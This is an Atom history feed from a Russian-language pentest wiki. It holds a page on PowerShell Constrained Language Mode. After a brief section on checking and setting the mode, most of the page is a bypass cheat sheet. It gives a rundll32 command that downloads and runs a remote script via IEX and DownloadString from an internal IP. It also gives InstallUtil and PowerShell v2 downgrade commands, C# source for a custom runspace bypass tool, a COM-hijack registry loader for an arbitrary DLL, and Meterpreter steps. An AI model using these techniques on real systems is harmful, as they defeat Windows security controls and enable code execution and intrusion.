<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="ru">
		<id>http://itsecwiki.org/index.php?action=history&amp;feed=atom&amp;title=Clm</id>
		<title>Clm - История изменений</title>
		<link rel="self" type="application/atom+xml" href="http://itsecwiki.org/index.php?action=history&amp;feed=atom&amp;title=Clm"/>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=Clm&amp;action=history"/>
		<updated>2026-05-18T19:43:42Z</updated>
		<subtitle>История изменений этой страницы в вики</subtitle>
		<generator>MediaWiki 1.27.7</generator>

	<entry>
		<id>http://itsecwiki.org/index.php?title=Clm&amp;diff=1035&amp;oldid=prev</id>
		<title>Drakylar: Новая страница: «Категория:Pentest  CLM(Constrained Language Mode) - мера защиты powershell от вызова критичных функций.  = Обще…»</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=Clm&amp;diff=1035&amp;oldid=prev"/>
				<updated>2022-03-16T14:02:07Z</updated>
		
		<summary type="html">&lt;p&gt;Новая страница: «&lt;a href=&quot;/index.php/%D0%9A%D0%B0%D1%82%D0%B5%D0%B3%D0%BE%D1%80%D0%B8%D1%8F:Pentest&quot; title=&quot;Категория:Pentest&quot;&gt;Категория:Pentest&lt;/a&gt;  CLM(Constrained Language Mode) - мера защиты powershell от вызова критичных функций.  = Обще…»&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Новая страница&lt;/b&gt;&lt;/p&gt;&lt;div&gt;[[Категория:Pentest]]&lt;br /&gt;
&lt;br /&gt;
CLM(Constrained Language Mode) - мера защиты powershell от вызова критичных функций.&lt;br /&gt;
&lt;br /&gt;
= Общее =&lt;br /&gt;
&lt;br /&gt;
== Определить включен ли CLM ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
PS C:\&amp;gt; $ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
FullLanguage&lt;br /&gt;
PS C:\&amp;gt; $ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
ConstrainedLanguage&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Поменять режим(права админа) ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
PS C:\&amp;gt; $ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
FullLanguage&lt;br /&gt;
PS C:\&amp;gt; $ExecutionContext.SessionState.LanguageMode = &amp;quot;ConstrainedLanguage&amp;quot;&lt;br /&gt;
PS C:\&amp;gt; $ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
ConstrainedLanguage&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Или выставить/удалить системную переменную окружения &amp;quot;__PSLockdownPolicy&amp;quot; (значение &amp;quot;4&amp;quot; если включено).&lt;br /&gt;
&lt;br /&gt;
= Обход защиты =&lt;br /&gt;
&lt;br /&gt;
== rundll32.exe ==&lt;br /&gt;
&lt;br /&gt;
https://github.com/iomoath/PowerShx&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
https://github.com/ropbear/CLMBypass&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
rundll32.exe CLMBypass.dll,Run IEX(New-Object Net.WebClient).DownloadString('http://192.168.49.72:8080/LAPSToolkit/LAPSToolkit.ps1');&lt;br /&gt;
rundll32 PowerShx.dll,main -i&lt;br /&gt;
PowerShx.exe -i&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== InstallUtil.exe ==&lt;br /&gt;
&lt;br /&gt;
https://github.com/calebstewart/bypass-clm&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
dir \Windows\Microsoft.NET\* /s/b | findstr InstallUtil.exe$&lt;br /&gt;
&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U &amp;quot;C:\tmp\bypass-clm.exe&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== powershell version 2 ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
powershell -version 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Custom PowerShell Runspace ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management.Automation;&lt;br /&gt;
using System.Management.Automation.Runspaces;&lt;br /&gt;
&lt;br /&gt;
namespace CLMBypass&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String cmd = args[0];&lt;br /&gt;
            Runspace rs = RunspaceFactory.CreateRunspace();&lt;br /&gt;
            rs.Open();&lt;br /&gt;
            PowerShell ps = PowerShell.Create();&lt;br /&gt;
            ps.Runspace = rs;&lt;br /&gt;
            ps.AddScript(cmd);&lt;br /&gt;
            ps.Invoke();&lt;br /&gt;
            rs.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Скомпилировать как&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Csc.exe /r:&amp;quot;System.Management.Automation.dll&amp;quot; CLMBypass.cs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Использовать&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
.\CLMBypss.exe &amp;quot;COMMAND&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== dll loader - создание своего object type ==&lt;br /&gt;
&lt;br /&gt;
Поместить DLL на сервер и запустить следующий код:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
$dllPath = &amp;quot;C:\test.dll&amp;quot;&lt;br /&gt;
$uuid = &amp;quot;{72C24DD5-D70A-438B-8A42-98424B88D3AD}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
New-PSDrive -PSProvider Registry -Name HKU -Root HKEY_USERS -erroraction 'silentlycontinue' | Out-Null&lt;br /&gt;
&lt;br /&gt;
$matches = whoami /user | select-string -Pattern &amp;quot;(S-1-5-[-0-9]+)&amp;quot; -all | select -ExpandProperty Matches&lt;br /&gt;
$sid = $matches.value&lt;br /&gt;
&lt;br /&gt;
$key = 'HKU:\{0}_classes' -f $sid&lt;br /&gt;
&lt;br /&gt;
# Добавление InProcServer&lt;br /&gt;
New-Item -Path $key -Name CLSID -erroraction 'silentlycontinue' | Out-Null&lt;br /&gt;
$key = 'HKU:\{0}_classes\CLSID\{1}' -f $sid, $uuid&lt;br /&gt;
New-Item -Path $key -Name 'InprocServer32' -erroraction 'silentlycontinue' | Out-Null&lt;br /&gt;
$key = 'HKU:\{0}_classes\CLSID\{1}\InprocServer32' -f $sid, $uuid&lt;br /&gt;
New-ItemProperty -Path $key -Name &amp;quot;(Default)&amp;quot; -Value $dllPath -PropertyType String -Force -erroraction 'silentlycontinue' | Out-Null&lt;br /&gt;
&lt;br /&gt;
# Добавляем коротное название&lt;br /&gt;
$key = 'HKU:\{0}_classes' -f $sid&lt;br /&gt;
New-Item -Path $key -Name xpn -erroraction 'silentlycontinue' | Out-Null&lt;br /&gt;
$key = 'HKU:\{0}_classes\xpn' -f $sid&lt;br /&gt;
New-Item -Path $key -Name CLSID -erroraction 'silentlycontinue' | Out-Null&lt;br /&gt;
$key = 'HKU:\{0}_classes\xpn\CLSID' -f $sid&lt;br /&gt;
New-ItemProperty -Path $key -Name &amp;quot;(Default)&amp;quot; -Value $uuid -PropertyType String -Force -erroraction 'silentlycontinue' | Out-Null&lt;br /&gt;
&lt;br /&gt;
# Запуск&lt;br /&gt;
New-Object -ComObject xpn -ErrorAction 'SilentlyContinue' | Out-Null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Можно написать DLL, который будет отключать CLM. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее: https://www.mdsec.co.uk/2018/09/applocker-clm-bypass-via-com/&lt;br /&gt;
&lt;br /&gt;
== MSF Meterpreter ==&lt;br /&gt;
&lt;br /&gt;
Meterpreter  в метасплоите отключает защиту CLM.&lt;br /&gt;
&lt;br /&gt;
Для этого нужно создать соединение, перейти в него и ввести следующие команды:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
load powershell&lt;br /&gt;
powershell_shell&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
= Ссылки =&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	</feed>